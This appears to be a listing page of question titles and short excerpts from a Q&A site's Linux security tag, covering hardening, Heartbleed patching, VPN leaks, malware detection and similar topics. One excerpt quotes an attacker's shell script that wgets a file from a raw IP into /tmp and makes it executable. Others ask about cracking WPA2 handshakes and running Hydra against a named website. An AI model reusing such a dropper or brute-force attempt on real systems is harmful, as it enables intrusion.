Securing Linux systems and applications; understanding Linux security features.
0
votes
0answers
12 views
How do I ensure programs ask for permission to access the internet?
I am just beginning to use Debian 7 which happens to be my first ever Linux OS. I chose the default installation for Debian 7. It came with Gnome (gdm3) desktop and a lot of programs.
Below are my ...
1
vote
0answers
14 views
Force all traffic through VPN [migrated]
I am using PfSense as a firewall, with its VPN functionality. The client I use is Shrew Soft VPN client. As it is a split tunnel, is there a way I can force all traffic through the VPN connection, ...
2
votes
1answer
39 views
How To Find Out What Software is Trying to 'Phone Home'?
I have seen some suspicious outbound communications blocked on my VPS, which hosts a small experimental Web site, and am wanting to find out which application is making the attempt. The server is ...
1
vote
1answer
49 views
What to do with .hash files when cracking WPA2
So, I'd say I'm one level above n00b. I've gotten to the point where I have accomplished a WPA Handshake (and saved the output as xxx-01.cap). I have also downloaded these hash tables (if that is the ...
1
vote
2answers
52 views
One computer with multiple OSs in different drives
I use my personal computer for both programming work and gaming at my free time(and sometimes penetration testing) all these in different operating systems each.
The problem is that I dont really ...
0
votes
5answers
79 views
Detecting unknown keyloggers
On a Linux system, is it at all possible to detect unknown keyloggers? Keyloggers which are new and haven't made it to any detection software's database?
-2
votes
0answers
38 views
Do Linux distros have VPN DNS leaks? [on hold]
Is it correct to state that Linux distros do not have VPN DNS leaks? Or are they limited to Microsoft Windows OSes?
Definition of DNS leaks:
When you use a VPN service, the DNS request should ...
0
votes
2answers
67 views
Secure Way of Encrypting Your Bash Shell Script [duplicate]
How can I encrypt my bash shell script on Linux server The shell script contain credentials of other servers for remote access. The problem is I do not want others with same level of access to view ...
1
vote
4answers
177 views
I only use windows for games. Do I need anti virus protection?
I use Linux, and even though I'm not pretending my system is virus-free, it's generally accepted that even an aggressive firewall is not a requirement.
I want to install Windows 7 on a machine which ...
-3
votes
0answers
25 views
From where to learn Linux [closed]
Everybody says: "Before get into pen testing learn Linux and Windows". I'm using Linux, but I can't find any free material on Linux, only the documentation project. Should I learn from there or you ...
0
votes
1answer
15 views
problem upgrading openssl on ubuntu servers [closed]
I'm running Ubuntu x86_64, and want to upgrade to OpenSSL 1.0.1.f.
wget <openssl latest>
tar -xzvf openssl.tar.gz
cd <openssl dir>
./configure --prefix=/usr
make
In the console output, ...
0
votes
0answers
13 views
How do I enable EVP functions in openssl? [migrated]
I am trying to update my webserver to the latest openssl with the heartbleed patch ( 1.0.1g ). Grabbed the tarball from openssl.org. Said the usual ./configure; make; make install.
Had to say ...
2
votes
1answer
52 views
Does TRESOR protect against attacks like HeartBleed
I was wondering if the linux TRESOR module (http://en.wikipedia.org/wiki/TRESOR) would protect a webserver against HeartBleed or other similar attacks.
2
votes
1answer
25 views
Method/program for editing secure files
I'm not entirely sure if this is on-topic for Security.SE, but it doesn't seem entirely off-topic either, so I'll try. :)
I keep a couple of (GPG-)encrypted files with more-or-less sensitive ...
7
votes
1answer
2k views
Has Linux Mint updated the OpenSSL library for LMDE (Heartbleed bug)? [closed]
Background
I am using Linux Mint for one of my servers and have been trying to find out if the Linux Mint Debian Edition(LMDE) has updated their repositories with patches for the OpenSSL bug.
I ...
1
vote
3answers
54 views
Can I use 777 file permissions inside server virtualisation (that only I have access to) without worry?
For this question, please assume I have followed every possible security measure to secure my Linux server. Only I have access to the web server via one open SSH port. If there are security issues ...
0
votes
2answers
58 views
Deleting undeletable files on a hacked Linux machine
I've got two Linux machines hacked recently and the hacker/bot has put a lot of stuff in the /root directory. Luckily he did not disable user access, so I was able to login and kill the programs he ...
0
votes
0answers
29 views
How to use Linux profiles in Volatility [closed]
I am newbie to the Volatility Framework. I have installed Ubuntu 12.04 in VM and was testing basic commands. I got the following error:
[root@localhost volatility]# python2.7 vol.py --profile=linux
...
0
votes
1answer
174 views
RAM memory data remanence and double boot, risky?
I wonder if my setup can be risky. To give a good starting point for answers I would briefly sketch the situation
setup:
double boot system GNU/Linux and Microsoft Windows
GNU/Linux is on 2 ...
1
vote
2answers
46 views
Securing Docker and LXC
The concept put forward by Docker and LXC seems to be, from a security perspective, a move in the right direction. Afraid of a MySQL zero-day? Run it in a Docker container and it won't be able to ...
0
votes
1answer
100 views
Enterprise Anti-virus for Linux?
I know this question is probably at risk of offending the guidelines but our IaaS provider was unable to offer us an anti-virus solution for our Linux servers. We are deployed in an enterprise cloud ...
1
vote
2answers
88 views
Hardware-restricted root login
I was thinking about how security on my Linux server can be increased and came up with this question: If most intrusions are performed by gaining remote access to machines, would it be possible and ...
1
vote
2answers
66 views
Verifying integrity of text files
While I was away from my home I needed to do some work on a java program so I booted a friends netbook(windows 8) I had with me and finished most of the works I needed to do there. Tho when I returned ...
0
votes
2answers
77 views
How do I prove for my client that unused ports are closed and unused services are disabled?
I have seen advice that I need to close all unused ports, and disable any unused services in order to secure my servers. How can I prove, beyond any doubt, to my client that I have done this?
I need ...
-2
votes
1answer
75 views
how to stop people hacking a website build in cakephp with linux host [closed]
I have been wondering how to stop intrusion/hack in a website build in cakephp.
The neccessities that I have done so far are
updated framework
strong password
frequent password change
removed ...
1
vote
1answer
57 views
How can I verify my machine is not vulnerable from a specific exploit?
I'm running Ubuntu 8.04 TLS linux 2.6.24-23, I find that CVE-2009-2692 which exploits by using sock_sendpage() null pointer dereference. It describes this exploit affects linux version prior to 2.6.31 ...
1
vote
1answer
49 views
Why does the linux XRDP module use a 512 bit RSA key? [closed]
Why does the linux XRDP module use a 512 bit RSA key? 512 bit RSA keys are broken by now. How can this be safe?
1
vote
1answer
113 views
How the shopkeepers are getting MAC address of wifi enabled smartphones
It is clear that some big mall's are tracking all the wifi enabled mobile phones before they are connected to the network..how can it been done?
I have the similar issue.. how to get the MAC address ...
-1
votes
1answer
42 views
Linux security books [closed]
I am trying to find an updated book (preferably from 2012-2013) that can cover linux security aspects comprehensively. I searched on Amazon and found that most Linux security books are from back in ...
2
votes
3answers
125 views
How to detect the “Hello packets” sent by a wifi enabled smartphone
Actually I have a case where I should able to detect the mobile phones and get some data about the device available in my network range without connecting to the network.
I have seen somewhere that a ...
0
votes
0answers
38 views
Is there a way to encrypt a drive with Truecrypt, and keep your data? [migrated]
Simple question, using the Truecrypt program, can I encrypt a hard drive without it deleting the data on the drive?
I know I can do this with Bitlocker on Windows, can I do the same with Truecrypt on ...
10
votes
2answers
1k views
How to get MAC addresses of devices which are not in the network
Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux)
I have been trying to get the MAC addresses of devices connected to my network through ...
1
vote
4answers
75 views
What needs to be focused on when hardening a LAMP stack? [closed]
I have a site running on a VPS. I set up the LAMP stack and a few other programs personally. This is only the second time I have set up a VPS and I am a bit worried about security. Are there things ...
5
votes
3answers
95 views
Best approach for restricting remote ssh session
Using the following files, I have attempted to restrict the SSH remote login. Having lack of knowledge in linux environment, I don't know the drawbacks and vulnerabilities between the following ways. ...
0
votes
1answer
58 views
MitM Attacks - Iptables?
I have looked for the answer to this question to no avail, apologies if I missed it.
I would like to know how effective iptables would be against MitM attacks - in the following setup:
ALLOW INPUT ...
0
votes
0answers
16 views
Snort 2.9.6.0 to detect malicious nfs traffic [migrated]
I have a snort inline mode IPS.I wanted this IPS to detect malicious nfs traffic.Can anyone please help me out to describe rules that catches the suspicious "nfs" traffic,not allowing it and allow the ...
11
votes
4answers
372 views
How to react when under attack
Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
10
votes
3answers
709 views
What does this sh script does if executed in a production environment
I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script:
#!/bin/sh
cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
...
-2
votes
2answers
90 views
Hydra https-form-post
I have never experimented much with online password crackers. I attempted to use Hydra today on this website www.athena2.harker.org and I keep getting false positives.
This is what I have done so ...
3
votes
1answer
99 views
Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc?
If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling ...
40
votes
9answers
6k views
Why am I allowed to access protected Windows files when I boot Ubuntu from USB?
How come I'm allowed to reboot a computer that I don't own, put in a USB, boot ubuntu from it and then access all files stored on the drives available (even critical files such as system files on C ...
1
vote
2answers
144 views
Storing database password in application
Let's say my application connects to my database. This requires me to have the username and database in my config as follows:
postgresql://scott:tiger@localhost/mydatabase
I have an automated ...
2
votes
2answers
140 views
Can a Ubuntu live usb be infected with spyware/ virus?
I have a Ubuntu 13.10 live usb. I gave it to somebody so that he can install ubuntu. Now I have received it back. I was wondering if it is possible to infect a live usb with spyware or virus ? If yes, ...
4
votes
1answer
553 views
What Ubuntu packages are still affected by gnutls bug CVE-2014-0092?
Right now the internet is abuzz with news about a severe breach in GnuTLS.
An update to the relevant GnuTLS packages has already been released. But I am worried whether some packages might have had ...
0
votes
2answers
90 views
Debian missing security features?
Debian (stable) is a well respected server Linux distro. I was surprised to see that in their hardening walkthrough (https://wiki.debian.org/HardeningWalkthrough) they do not support position ...
1
vote
1answer
115 views
Why does Debian security guide recommend md5 hashed passwords?
I am reading the Debian Security How-To and came across a section that I found odd: it recommends to use md5 hashes for /etc/shadow passwords ...
1
vote
0answers
38 views
Fuzzing shared libraries
Are there any tools capable of automatically fuzzing Linux shared libraries, by automatically I mean detect exported function, determine function signature and finally inject random data ?
Can ...
1
vote
0answers
25 views
Is CVE-2011-1571 fixed in tomcat?
I dont see any record of CVE-2011-1571 being fixed in tomcat based on ASF' security reports for tomcat itself. Usually they specify the CVE number and information about the fix. This was 3 years ago ...
0
votes
1answer
58 views
Secure installation of KVM VPS?
This question has also been asked on Server Fault, but was not taken seriously. I hope this is a better place for it
I'm going to install Debian Wheezy on a KVM VPS. VNC access to console is enabled, ...
1
vote
0answers
22 views
Tracking checkins from generic users
Im trying to implement a better system to monitor checkins to our repository. We have some generic users everyone can use, I have recently disallowed them from checking in as those users however there ...
